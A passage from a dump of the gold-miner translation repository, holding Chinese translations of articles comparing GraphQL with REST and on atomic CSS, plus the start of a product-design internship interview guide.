个视频)](https://www.youtube.com/playlist?list=PLJ9pm_Rc9HesnkwKlal_buSIHA-jTZMpO) - [ ] [UC Berkeley CS 152: 计算机结构和工程 (20 个视频)](https://www.youtube.com/watch?v=UH0QYvtP7Rk&index=20&list=PLkFD6_40KJIwEiwQx1dACXwh-2Fuo32qr) - [ ] [MIT 6.004: 计算结构 (49 视频)](https://www.youtube.com/playlist?list=PLrRW1w6CGAcXbMtDFj205vALOGmiRc82-) - [ ] [卡內基梅隆大学 - 计算机架构讲座 (39 个视频)](https://www.youtube.com/playlist?list=PL5PHm2jkkXmi5CxxI7b3JCL1TWybTDtKq) - [ ] [MIT 6.006: 算法介绍 (47 个视频)](https://www.youtube.com/watch?v=HtSuA80QTyo&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&nohtml5=False) - [ ] [MIT 6.033: 计算机系统工程 (22 个视频)](https://www.youtube.com/watch?v=zm2VP0kHl1M&list=PL6535748F59DCA484) - [ ] [MIT 6.034 人工智能, 2010 年秋季 (30 个视频)](https://www.youtube.com/playlist?list=PLUl4u3cNGP63gFHB6xb-kVBiQHYe_4hSi) - [ ] [MIT 6.042J: 计算机科学数学, 2010 年秋季 (25 个视频)](https://www.youtube.com/watch?v=L3LMbpZIKhQ&list=PLB7540DEDD482705B) - [ ] [MIT 6.046: 算法设计与分析 (34 个视频)](https://www.youtube.com/watch?v=2P-yW7LQr08&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp) - [ ] [MIT 6.050J: 信息和熵, 2008 年春季 (19 个视频)](https://www.youtube.com/watch?v=phxsQrZQupo&list=PL_2Bwul6T-A7OldmhGODImZL8KEVE38X7) - [ ] [MIT 6.851: 高等数据结构 (22 个视频)](https://www.youtube.com/watch?v=T0yzrZL1py0&list=PLUl4u3cNGP61hsJNdULdudlRL493b-XZf&index=1) - [ ] [MIT 6.854: 高等算法, 2016 年春季 (24 个视频)](https://www.youtube.com/playlist?list=PL6ogFv-ieghdoGKGg2Bik3Gl1glBTEu8c) - [ ] [MIT 6.858计算机系统安全, 2014 年秋季](https://www.youtube.com/watch?v=GqmQg-cszw4&index=1&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - [ ] 斯坦福: 编程范例 (17 个视频) - [C 和 C++ 课程](https://www.youtube.com/watch?v=jTSvthW34GU&list=PLC0B8B318B7394B6F&nohtml5=False) - [ ] [密码学导论](https://www.youtube.com/watch?v=2aHkqB2-46k&feature=youtu.be) - [本系列更多内容 (不分先后顺序)](https://www.youtube.com/channel/UC1usFRN4LCMcfIV7UjHNuQg) - [ ] [大数据 - 斯坦福大学 (94 个视频)](https://www.youtube.com/playlist?list=PLLssT5z_DsK9JDLcT8T62VtzwyW9LNepV) ## 计算机科学课程 - [ 在线 CS 课程目录 ](https://github.com/open-source-society/computer-science) - [CS 课程目录 (一些是在线讲座)](https://github.com/prakhar1989/awesome-courses) ================================================ FILE: TODO/graphql-vs-rest.md ================================================ > * 原文地址:[GraphQL vs. REST](https://dev-blog.apollodata.com/graphql-vs-rest-5d425123e34b) > * 原文作者:[Sashko Stubailo](https://dev-blog.apollodata.com/@stubailo) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/graphql-vs-rest.md](https://github.com/xitu/gold-miner/blob/master/TODO/graphql-vs-rest.md) > * 译者:[wilsonandusa](https://github.com/wilsonandusa) > * 校对者:[DeadLion](https://github.com/DeadLion), [steinliber](https://github.com/steinliber) # GraphQL vs. REST ## 两种通过 HTTP 发送数据的方式:区别在哪里? GraphQL 常常被认为是一种全新的 API 方式。你可以通过发送一次查询请求便获得所需要的数据,而不是通过服务器严格定义的请求终端。GraphQL 确实有这样的变革能力,一个团队在采用 GraphQL 后能够使得前端和后端的合作变得比之前更流畅。然而在实际操作中,两种技术都通过发送 HTTP 请求获取结果,而且 GraphQL 使用了 REST 模型中的很多内建元素 那么从技术层面来讲它们的本质到底是什么?这两款 API 范例的相似处和区别都有哪些?我在文章最后将会声明 GraphQL 和 REST 的区别并不是很大,但 GraphQL 其本身的一些小的改变使得为开发和自定义一个 API 带来了巨大的区别。 那么言归正传,我们会先指出 API 的一些性质,然后我们会讨论 GraphQL 和 REST 是如何处理它们的。 ### 资源 REST 的核心理念就是资源。每个资源都由一个 URL 定义,然后通过向指定 URL发送 `GET` 请求来获取资源。目前大部分 API 会得到的一个 JSON 响应。这个请求和响应如下: GET /books/1 { "title": "Black Hole Blues", "author": { "firstName": "Janna", "lastName": "Levin" } // ... more fields here } **注意:在以上实例中,有的 REST APIs 会把 “author” 当成独立资源返回。** 在 REST 中需要注意的是,资源的类型和你获取资源的方法是紧密相关的。当使用以上 REST 数据时,你可能会把它当成是 book 的一个终端。 GraphQL 在这方面就相当不一样了,因为在 GraphQL 里这两个概念是完全分开的。在你的模版里可能会有 ‘Book’ 和 “author” 两种类型: type Book { id: ID title: String published: Date price: String author: Author } type Author { id: ID firstName: String lastName: String books: [Book] } 注意在这里我们对可获得的数据类型进行了描述,但这个描述并没有告诉你每个对象是如何从客户端获得的。这就是 REST 和 GraphQL 的核心区别之一 —— 对某一指定资源的描述不一定要和获取的方式相结合。 如果想要真正得到到某一本书或者其作者的信息,我们需要在我们现有的模式中创造一个 ‘Query’ 类型: type Query { book(id: ID!): Book author(id: ID!): Author } 现在我们可以发送一个类似于 REST 的请求,不过这次是使用 GraphQL: GET /graphql?query={ book(id: "1") { title, author { firstName } } } { "title": "Black Hole Blues", "author": { "firstName": "Janna", } } 很好,现在我们有成果了!即使双方都使用 URL 来发送请求并返回相同的 JSON 结构作为回应,我们还是能马上看出 GraphQL 和 REST 之间的区别。 首先,我们能看出 GraphQL 查询的 URL 详细指出了我们所寻找的资源以及我们所关心的字段。而且 API 的使用者决定是否需要包括有关 ‘author’ 的资源,而不是由服务器端的代码来决定。 但最重要的是,资源的身份以及 Book 和 Author 的概念和获取的方式无关。我们实际上可以使用多种不同的请求来获取同一本书的不同字段。 #### 总结 我们已经找到了一些相似和不同的地方: - **相同:** 都拥有资源这个概念,而且都可以指定资源的身份 - **相同:** 都能通过 HTTP GET 和一个 URL 来获取信息 - **相同:** 请求的返回值都是 JSON 数据 - **不同:** 在 REST 中,你所访问的终端就是所需对象的身份,在 GraphQL 中,对象的身份和获取的方式是独立存在的 - **不同:** 在 REST 中,资源的形式和大小是由服务器所决定的。在 GraphQL 中,服务器声明哪些资源可以获得,而客户端会对其所需资源作出请求。 好吧,如果你之前使用过 GraphQL 和/或 REST的话这些看上去很基础。如果你之前没用过 GraphQL,你可以使用 Launchpad 来试试[这个实例](https://launchpad.graphql.com/1jzxrj179) 。这是一个用于在浏览器中创造和探索 GraphQL 实例的工具。 ### URL 路径 vs GraphQL 模版 一款无法正确预测结果的 API 是没有实际用途的。当你使用一款 API 的时候,大部分情况下会把它当做程序的某一部分去使用它,这款程序会知道可以调用什么 API,以及 API 的结果是什么。这样程序才能运用好 API 返回的结果。 所以一款 API 最重要的一个特点就是去描述它到底能得到什么。你在读 API 文档的时候恰恰就是为了了解这些。现在通过使用 GraphQL 的内部描述特点或者使用类似 Swagger 这种适用于 REST 模板系统的工具,我们可以采用编程的方式来获取这方面的信息。 目前的 REST API 通常被形容为一连串的端点: GET /books/:id GET /authors/:id GET /books/:id/comments POST /books/:id/comments 所以你可以将此 API 的“形态”描述为线性 —— 因为你可以接触一连串的信息。当你想要获取或者存储信息的时候,最先想到的问题就是“我应该使用哪一个终端”? 而在 GraphQL 中,就像我们之前提到的,你并不是使用一系列 URL 来验证 API 可以获得有哪些信息,而是使用 GraphQL 的模板: type Query { book(id: ID!): Book author(id: ID!): Author } type Mutation { addComment(input: AddCommentInput): Comment } type Book { ... } type Author { ... } type Comment { ... } input AddCommentInput { ... } 将它和 REST 中请求相同数据集的请求路径做对比时,有几点有趣的地方。首先,在区分读取和写入时,GraphQL 使用的是 Mutation 和 Query 这两种不同的初始类型,而不是通过对同一 URL 发送两种不同的 HTTP 术语。在 GraphQL 文档中,你可以使用关键字来选择你所发送的操作: query { ... } mutation { ... } 如果想要了解更多有关查询语言的细节,请阅读我之前写的文章, [**“对 GraphQL 查询的分析”。**](https://dev-blog.apollodata.com/the-anatomy-of-a-graphql-query-6dffa9e9e747) 你可以看出 Query 类型中的字段和我们之前所写的 REST 路径正好重合。这是因为此类型是我们数据的切入点,所以这在 GraphQL 中是和终端 URL 几乎相同的一个概念。 你从 GraphQL API 中获取最初资源的方式和使用 REST 的方法类似 —— 都是通过传递一个名字和一些参数 —— 但最大的不同之处是在这之后你会做什么。你可以用 GraphQL 发送一个复杂的请求并通过与模板之间的关系来获取额外的数据。但在 REST 中,你需要通过发送多个请求来使用相关数据去构造最初的回应,或者在 URL 中包含特殊参数来修改响应的结果。 #### 结论 在 REST 中,可获得数据的空间是由一系列线性的终端来描述的,而在 GraphQL 中是通过使用有关联的模板: - **相同:** REST API 中的一列终端和 GraphQL API 中的 Query 和 Mutation 类的字段很像,都是数据的切入点。 - **相同:** 两种 API 都可以区分数据的读取和写入。 - **不同:** 在 GraphQL 中,你可以使用由模板定义的关系,通过发送一次请求从初始点一直走到相关数据。然而在 REST 中,你必须要使用多个终端来获取相关资源。 - **不同:** 在 GraphQL 中,除了在每个请求的根源处所能获取的类型都是 Query 类外,Query 的字段和其他类的字段没有本质区别。比方说,你可以在 Query 的每个字段里放一个参数。而在 REST 中,嵌套的URL里没有第一类这个概念。 - **不同:** 在 REST 中,你通过将 HTTP 术语 GET 改为 POST 来指定写入,但在 GraphQL 里需要改变请求里的关键字 由于第一个相似点,很多人把 GraphQL 的 Query 类中的字段当作“终端”或者“请求”。虽然这的确是一个合理的比较,但这种理解可能会误导别人认为 Query 类和其他类的工作方式不同,这种理解是错误的。 ### 路径处理器 vs Resolvers 当你调用一款 API 的时候到底发生了什么?通常情况下 API 会在服务器端收到请求后执行一段代码。这类代码可能会进行计算,也可能是从数据库中加载数据,甚至会使用另一款 API 或做其他事。重要的是你不需要了解它在内部到底做了了什么。不过 REST 和 GraphQL 这两款 API 都具备非常标准化的内部执行方式,通过比较它们内部的执行区别,我们可以找出这两款 API 基础层面的不同点。 在接下来的对比中我会使用 JavaScript,因为这是我最熟悉的语言。不过你当然可以用其他语言去实现 REST 或者 GraphQL。我会省略设置服务器的步骤,因为这不是重点。 来看看这个用 experss 写的 hello world 例子,express 是 Node 里很火的 API库 之一。 app.get('/hello', function (req, res) { res.send('Hello World!') }) 我们首先创建了一个能够返回hello world字串符的/hello 终端。通过这个例子中我们可以得知使用 REST API 来写服务器时一个 HTTP 请求的生命周期: 1. 服务器接收请求并解析 HTTP 术语 (这个例子中术语为 ‘GET’)和其 URL 2. API 库将术语和路径相结合并在服务器代码中找到与之相匹配的函数 3. 函数运行并返回结果 4. API 库将结果序列化与响应代码和数据头相结合,最终发送给客户端 GraphQL 的工作方式极为相似,对于同一个 [hello world](https://launchpad.graphql.com/new) 的例子来说两者几乎相同: const resolvers = { Query: { hello: () => { return 'Hello world!'; }, }, }; 就像你所看到的,我们将函数和一个类别中的字段相呼应,为指定的 URL 提供一个处理函数。在这个例子中,‘hello’ 是 ‘Query’ 中的一个字段。在 GraphQL 中,这种对字段进行操作的函数被称为 **resolver**。 我们需要用 Query 来发送请求: query { hello } 当服务器接收到 GraphQL 的请求会执行以下步骤: 1. 服务器接收请求并开始解析 GraphQL 的请求 2. 此 Query 的每个字段会被仔细分析来找出有哪些 resolver 函数会被使用 3. 函数运行并返回结果 4. GraphQL 库和服务器将返回结果和回应相结合,最终得到和 Query 形态相匹配的结果 所以你最终得到的结果为: { "hello": "Hello, world!" } 但这里有个小技巧,我们实际上可以连续访问字段两次! query { hello secondHello: hello } 在这个例子中出现了相同的生命周期,但由于我们使用化名对同一个字段发送了两次请求,hello 的 resolver 实际上被使用了**两次**。这个例子很牵强,但重点是我们可以对同一请求中对多个字段进行操作,而且在一个 query 中我们也可以对单个字段进行多次使用。 为了进行补充,以下是一个嵌套在一起的 resolvers 例子: { Query: { author: (root, { id }) => find(authors, { id: id }), }, Author: { posts: (author) => filter(posts, { authorId: author.id }), }, } 这些 resolvers 可以用来对 query 进行补充: query { author(id: 1) { firstName posts { title } } } 所以即使这些 resolvers 是平级的,由于它们可以和多种类型相结合,你可以在嵌套的 query 里将这些 resolvers 连在一起使用。如果想了解 GraphQL 是如何执行工作的,请阅读以下文章[“详解 Graph QL”](https://dev-blog.apollodata.com/graphql-explained-5844742f195e)。 [**来看看如何使用完整的例子配合不同的请求来进行测试!**](https://launchpad.graphql.com/1jzxrj179) ![](https://cdn-images-1.medium.com/max/1600/1*qpyJSVVPkd5c6ItMmivnYg.png) 图解:对资源进行获取的 REST 多次请求 vs GraphQL 的一次请求 #### 结论 最终我们可以得知,REST 和 GraphQL API 都可以在网络中通过不同方式使用函数。如果你对如何搭建 REST API 很熟悉,那么使用 GraphQL API 应该不会很不一样。不过 GraphQL 有很大的优势,因为你可以使用它去执行多个相关函数,而且全程不需要多次请求往返。 - **相同:** REST的终端和 GraphQL 的字段都会在服务器端运行函数 - **相同:** 两者本质上都需要依靠框架和库来使用和处理网络模板。 - **不同:** 在 REST 中,每次请求通常只使用一个路径处理函数。在 GraphQL 中,同一 Query 可以使用多个 resolver 来使用多个资源创造嵌套在一起的回应。 - **不同:** 在 REST 中,你可以自己创造每个回应的形式。在 GraphQL 中,回应的模式通过 GraphQL 的执行库来与请求的形式相匹配。 总而言之,你可以将 GraphQL 当成是可以在一次请求里执行多个终端的系统,就像是重复使用的 REST。 --- ### 这些意味着什么? 我们无法在此文章中对所有细节做出诠释,比如对象识别、超媒体以及缓存。我以后可能会再讨论这些问题,但我想让你明白的是,通过了解 API 的基本知识点可得知,REST 和 GraphQL 工作时所使用的基础观念是十分相似的。 我觉得两者之间的区别反而成为了 GraphQL 的优势。特别是给予使用者构建多个 resolver 函数的功能非常炫酷,而且也可以发送一个复杂的请求来一次性得到多种资源,整个过程是可预测的。这个特点避免了 API 的使用者为了构建某个回应形式而去使用多个终端,同时也避免了处理额外不需要的数据。 然而,GraphQL 目前还没有 REST 那么多的工具和扩展。比方说,你无法对 GraphQL 的结果使用 HTTP 的缓存方式。但目前社区方面正在努力打造更好的工具和框架,而且你可以使用类似 [Apollo client](http://dev.apollodata.com/) 和  [Relay](https://facebook.github.io/relay/) 这类缓存工具。 如果有更多有关对比 REST 和 GraphQL 的想法,请积极留言! --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/growing-popularity-atomic-css.md ================================================ > * 原文地址:[On the Growing Popularity of Atomic CSS](https://css-tricks.com/growing-popularity-atomic-css/?utm_source=SitePoint&utm_medium=email&utm_campaign=Versioning) > * 原文作者:[OLLIE WILLIAMS](https://css-tricks.com/author/olliew/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/growing-popularity-atomic-css.md](https://github.com/xitu/gold-miner/blob/master/TODO/growing-popularity-atomic-css.md) > * 译者:[Cherry](https://github.com/sunshine940326) > * 校对者:[Tina92](https://github.com/Tina92)、[ClarenceC](https://github.com/ClarenceC) # 论原子 CSS 的日益普及 即使你自认为是 CSS 方面的专家,也很可能在某一大型项目中,处理一个错综复杂并且越来越庞大的样式表,它们中一些样式表看起来就像一张相互继承并且混乱缠绕的网。 ![意大利面怪物](https://cdn.css-tricks.com/wp-content/uploads/2017/11/spaghetti-monster.jpg) 级联的作用非常强大。微小的改变可能会引起很大的改变,这就导致了很难知道下一秒会发生什么。重构、更改和移除 CSS 都是高危动作,因为很难知道这个 CSS 在哪里被引用。 > **你什么时候可以做到改变 CSS 不引起不必要的改动?** 答案是无论在何种情况下,你都很少有这种想法。 > > 在我有限的经验中,其中的一种情况是,在大型团队的大型代码库中,**给人的感觉是 CSS 太大了以至于团队的成员开始对 CSS 很敏感并且对 CSS 感到害怕,但是实际上只是让你增加 CSS。** > > 由此产生一个工具,它能做的事情远远少于 CSS,但是在某种程度上(在你学会之后),没有人在对其感到害怕,我认为这非常棒。 > - [Chris Coyier](https://css-tricks.com/lets-define-exactly-atomic-css/#comment-1607914) ### 原子 CSS 让事情变得简单 > 我不在需要去考虑如何组织我的 CSS。我也不需要考虑如何给我的组件起名,也不需要考虑将一个组件和另一个组件完全分离,应该将其放在哪里,最重要的,当有新的需求是怎么进行重构。 > > - [Callum Jefferies 在尝试通过 BEM 命名方式使用超分子 CSS 之后发表的言论](https://madebymany.com/stories/takeaways-from-trying-out-tachyons-css-after-ages-using-bem) [原子 CSS](https://css-tricks.com/lets-define-exactly-atomic-css/) 提供了一套直接、明显并且简单的方法论。类是不可变的,你不可以改变类名。这使得s使用 CSS 是可预见的和可靠的,因为类总是做**完全**相同的事情。在 HTML 文件中添加或者移除一个有作用域范围的公用类是明确的,它让你确信你不会破坏其他任何东西。这可以减少认知负荷和精神负担。 给组件命名是出了的困难。想出一个既有意义又足够通用的类名费时又费力。 > 计算机科学中只有两个难题:缓存失效和命名问题。 > > – Phil Karlton 提出适当的抽象是困难的。相比之下,命名工具类就简单直接一些。 ``` /* 工具类命名 */ .relative { position: relative; } .mt10 { margin-top: 10px; } .pb10 { padding-bottom: 10px; } ``` 原子的类从名字就可以知道它们的功能。意图和效果显而易见。而包含无数类名的 HTML 会显得很乱,HTML 比一个庞大并且错综复杂的样式要容易一些。 在一个前后端混合的团队中,可能参与开发的后台人员对 CSS 知识有限,很少有人将样式表搞乱。 ![来自 ryanair.com —— 整个 CSS 都在完成一个效果](https://cdn.css-tricks.com/wp-content/uploads/2017/11/s_936DE68CA3D578D4EBA9574821004F0B168A1400AEE2F968AAEBC3372F36B63D_1510608565787_ScreenShot2017-11-13at21.27.52.png) ### 样式差异处理 [工具类](https://css-tricks.com/need-css-utility-library/) 非常适合处理小的样式差异。虽然设计系统和模式库现在可能风靡一时,但是你要意识到将会有不断的新需求和变化。所有组件的可重用性往往不是体现在设计模拟。虽然实现和设计稿一致是最好的,但是一个大型网站繁多的上下环境一定会有很多的不可避免的不同。 ![](https://cdn.css-tricks.com/wp-content/uploads/2017/11/bem-modifiers.png) Medium 的开发团队已经不使用 BEM 了,在 [他们的博文中](https://medium.engineering/simple-style-sheets-c3b588867899) 有提到。 如果我们希望组件通过简单的方式和另一个组件只有细微的差别,该怎么去做呢?如果你使用的 BEM 的命名方式,修饰符类很可能会不起作用。无数的修饰符往往只有一个效果。我们以边距(`margin`)为例。不同组件的边框大部分都不相同,让所有组件的边框保持一致也不太可能。这个距离不仅取决于组件,还取决于组件在页面中的位置和它相对于其他元素的相对位置。大部分的设计都包含相似但是**不完全相同**的 UI 元素,使用传统的 CSS 很难处理。 ### 很多人都不喜欢它 ![Aaron Gustafson,《A List Apart》的总编辑,Web Standards Project 的前任项目经理,微软员工](https://cdn.css-tricks.com/wp-content/uploads/2017/11/twitter.com_AaronGustafson_status_743073596789133312_ref_srctwsrc5Etfwref_urlhttp3A2F2Fcssmojo.com2Fopinions_of_leaders_considered_harmful2F.png) ![Soledad Penades,来自 Mozilla 的工程师](https://cdn.css-tricks.com/wp-content/uploads/2017/11/soledad.png) ![CSS 禅意花园的创办者](https://cdn.css-tricks.com/wp-content/uploads/2017/11/cssmojo.com2Fopinions_of_leaders_considered_harmful2F.png) ### 原子 CSS 和行内样式有什么不同? 这是质疑原子 CSS 的人经常会问到的问题。长期以来大家都认为行内样式不利于实践,自 Web 时代初期就很少有人使用了。**那些批评者将原子 CSS 与行内样式等同也是有道理的,因为行内元素和原子 CSS 有相同的弊端。**举个例子,如果我们想要将所有的 `.block` 类中的 `color` 改变为 `navy` 会怎样?如果这样做: ``` .black { color: navy; } ``` 很明显,这是**不对**的。 现在的编辑器很复杂。使用查找和替换将所有的 `.black` 类换成一个新的 `.navy` 类十分的简单,但是却是很危险的。问题是,你只是想将 **某些** `.block` 类变为 `.naby` 类。 在传统的 CSS 方法中,调整组件的样式和在一个 CSS 文件中更新一个类的一个值一样简单。使用原子 CSS,这就变成了一项单调乏味的任务,它通过搜索每一块 HTML 来更新所述组件的每一个实例。然而所有的高级编辑器都是这样。即使你将标记分离为可重用的模板,这仍然是一个主要缺点。**也许这种手动操作对于这种简单的方法是值得的。用不同的类更新 HTML 文件可能很乏味,但并不困难。**(虽然有一些时候我在手动更新时遗漏了相关组件的某些实例,暂时引入了风格不一致)。如果改变了设计,你可能需要从 HTML 中手动编辑类。 虽然原子 CSS 和内联样式一样有很大的缺陷,但是这不是一种退后。工具类以各种方式优于内联样式。 ### 原子 CSS vs. 行内样式 #### 原子类允许抽象,内联样式不允许 原子类可以创建抽象类,内联样式不行。 ```

      Inline styles suck.

      Badly written CSS isn't very different.

      Utility classes allow for abstraction.

      ``` 当改变设计的时候,上面例子的前两个需要手动的修改和替换。第三个例子可以只调整一处样式表。 #### 工具 CSS 社区已经创建了很多用于行内样式的无用的工具例如:Sass, Less, PostCSS, Autoprefixer 等。 #### 更加简洁 与其写出冗余的行内样式,倒不如像原子 CSS 一样写出简洁的声明缩写。相比之下少打了一些字符:`mt0` 和 `margin-top: 0`,`flex` 和 `display: flex`,等等。 #### 差异性 这是一个有争议的话题。如果一个类或者行内样式仅仅只做一件事情,**那么你是否希望它只做一件事情**,很多人提倡使用 `!importent` 来保证不被其他的除了 `!important` 的样式重写,这也就意味着这个样式肯定会被应用。但是,一个类本身是足够具体的,可以覆盖其他的基本类。和行内样式相比,原子类特异性较低是一件好事。它允许更多的通用性。都可以使用 JavaScript 来改变样式。如果是行内样式的话就比较困难。 #### 样式表的类比行内样式能做的更多 行内样式不支持媒体查询、伪选择器、`@supports` 和 CSS 动画。也许你有一个单独的悬停效果你想要应用在不同的元素而不是一个组件。 ``` .circle { border-radius: 50%; } .hover-radius0:hover { border-radius: 0; } ``` 简单的可重用媒体查询规则也可以转换成实用的工具类,其常用的类名前缀表示小型、中型和大型的屏幕尺寸。下面有一个 flexbox 类的实例,只能对中型和大型屏幕尺寸有效: ``` @media (min-width: 600px) { .md-flex { display: flex; } } ``` 这在内联样式中是不可能的。 你是不是想要一个可重用的有伪内容的图标或标签? ``` .with-icon::after { content: 'some icon goes here!'; } ``` #### 有限的选择可能会更好 行内样式可以做**任何事情**。这过于自由以至于很容易导致显示效果混乱和不一致。通过每一个预定类,原子 CSS 可以保证一定程度的风格一致。而不是杂乱的颜色值和不确定的颜色值,工具类提供了一个预定义设置选项。开发者从有限的设置中选择单一功能的工具类,这种约束既可以消除日益增加的样式问题,保持视觉的一致性。 我们来看一个 `box-shadow` 的例子。一个行内样式可以随意使用偏移量、范围、颜色、透明度和模糊半径。 ```
      stuff
      ``` 使用原子方法,CSS 作者可以定义首选样式,然后简单应用,不可能出现风格不一致。 ```
      stuff
      ``` ### 原子 CSS 既不是全能也不是一无是处 毫无疑问,像 Tachyons 这样的原子类框架越来越受欢迎。然而,CSS 方法并不是互斥的。很多情况下,工具类并不是最好的选择: * 如果你需要在媒体查询中改变特定组件里面大量的样式。 * 如果你想要使用 JavaScript 改变很多样式,将其抽象为一个单独的类是非常容易的。 原子类可以和其他样式方法共存。我们应该将设置一些基础类和稳健的全局样式。如果你继续复制工具类的相似字符串,这些样式很可能被抽象为一个类。你可以在组件类中将其合并,但是你只能在知道它们不会被重用时才可以这样。 > 以组件为先的方法去写 CSS 意味着你创建一个组件事物即使他们不会再被重用。这种过早的抽象就是使样式表变得冗余和复杂的原因。 > - [Adam Wathan](https://adamwathan.me/css-utility-classes-and-separation-of-concerns/) > 单位越小,它的可重用性就越强。 > - [Thierry Koblentz](http://www.smashingmagazine.com/2013/10/challenging-css-best-practices-atomic-approach) 看一下 Bootstrap 的最新版本,现在提供了一整套的工具类,仍然包括其传统的组件。未来,越来越多的流行框架采用这种混合方法。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/guide-to-interviewing-for-product-design-internships.md ================================================ >* 原文链接 : [A Guide to Interviewing for Product Design Internships](https://medium.com/facebook-design/a-guide-to-interviewing-for-product-design-internships-d719dd4c146c#.jhgjr12c) * 原文作者 : [Andrew Hwang](https://medium.com/@ahwng) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [joyking7](https://github.com/joyking7) * 校对者: [邵辉Vista](https://github.com/shaohui10086), [circlelove](https://github.com/circlelove) # 产品设计实习生面试指南 “我们查看了你的作品集,诚挚邀请你参加我们公司产品设计实习生的面试。请问下周你什么时间有空呢?” 一看到这封邮件你就脉搏加速,瞳孔放大甚至有点流口水。你已经寄出很多求职信,提交了很多求职申请,最后 - 终于如愿!你在成为一个羽翼丰满的产品设计师之路上跨出了虽然很小,但是却很有意义一步。 但是他们会问你什么?你如何尽全力的准备呢? 学生贸然进入产品设计领域是比较困难的。一些有图形设计或者艺术学历的产品设计师也是跌跌撞撞地走进这个领域。另外一些则是自学成才。无论是哪种方式,数字产品设计依然是新的领域,对于那些充满好奇心的学生来说资源很少。 高中我都没有听说过产品设计行业。我了解过 web 设计领域,但是坦白地说,我并不擅长这个,无法想象它能应用在哪些地方。 随着时间的推移,我在一家手机 app 创业公司进行设计实习,积累了足够的设计经验来找到自己的本心。在那里,我第一次体验到了产品设计,我爱上了和产品经理、工程师和 UI 设计师们合作解决复杂问题的感觉,以及实现产品从无到有的状态。所以我义无反顾地选择了这个行业。 之后那个夏天我加大了自己申请的策略,向超过 50 家公司投递了简历。其中有五家公司对我有兴趣。这五家之中,有三家小型科技公司立刻面试了我。但是我去那些面试时根本不知道他们会问些什么,所以那些为我敞开的门又很快像它们刚打开那样关上了。 Evernote 是第四家对我有兴趣的公司。虽然我搞砸了之前三场面试,但是在与 Evernote 设计师电话面试的时候,因为对大致的要求有了一些了解,所以表现的还不错。 在那个夏天我去 Evernote 产品设计岗位实习。因为有了更多实习经验,接下来的那年夏天我拿到了 Facebook 产品设计实习的 offer。现在我在 Facebook 担任全职产品设计师一职。 作为一个学生,我经历过很多家硅谷大公司的产品设计实习岗位的面试:Google;Facebook; Mozilla; Quora; Groupon; Dropbox.如果问我感触最深的是什么,那就是科技公司产品设计面试流程相当地类似,通常都包括下面的所有,或者是下面的某些组合: 1. 电话面试 2. 作品集审查 3. 设计任务 4. App 评判 让我们更加深入的了解每一步。 #### 1\. 电话面试 电话面试能够让面试官更好的了解你,更好的浏览你简历上所写的东西。你可能被问到: * 你的个人背景? * 你是如何进入设计领域? * 为什么你对所面试公司感兴趣? * 你做的项目中最喜欢哪个以及为什么? 在电话面试中,声音要有激情。同时也为面试官准备一些问题。试着问一下公司具体情况的问题,那些不是很容易在 Google 搜索找到答案的问题。面试官会从真实可信数据中解答一些常见问题,但是问一些封闭问题可能会影响你候选的资格。 准备第一次 Facebook 电话面试的时候,举个例子,我发现 Facebook 会定期举行[实习生编程马拉松](http://www.quora.com/What-do-Facebook-interns-do)(hack-a-thons)活动。所以在电话面试的时候我进一步和面试官探讨了编程马拉松:它们究竟如何工作?在编程马拉松活动时,实习生完全忽略他们的夏季项目这样好吗?谁审查最后的项目?这些问题能表现出你真正的兴趣。同时也告诉了面试官你是下了功夫并且十分在乎实习机会的。 如果面试官认为你的个人背景和兴趣比较适合实习,那么下一环节通常就是你过去工作的一个展示。 #### 2\. 作品集审核 这一步你会和设计师直接对话。通常情况下,审核将包括你做过的三四个项目作品的深入了解。作品集审核的关键在于帮助设计师梳理你的设计流程,了解你提出了什么样的问题和你考虑了什么样的解决办法。简单来说,面试官想知道你是如何接近设计的。你可能会被问到这样的问题: * 你想要努力解决什么问题? * 你曾和谁组队搭档? * 你做过哪种调研,有没有例子? * 为什么你选择那种的设计方案而不是这种? * 应该权衡哪些东西? * 在设计某个产品 X 时你遇到了哪些挑战? * 如果你有更多时间在某个产品 Y 上,你会做什么改变? * 如果你在一个确切设计问题上卡住,你会如何克服它? 作品集审核中,一个主要任务就是在你的设计流程中展现出你的**意向**,来表明你思考每一个设计决定都是很细心的,无论是从高级产品特性还是到一个按钮的视觉造型。 清楚地描述你的逻辑根据。武断地设计决定经不起作品集审核的仔细检查。 ![](http://ww4.sinaimg.cn/large/a490147fjw1f2lzu8uvhoj20m80ah75i.jpg)
      确保自己能清晰地表达自己的设计决定。漫画作者:Andrew Hwang
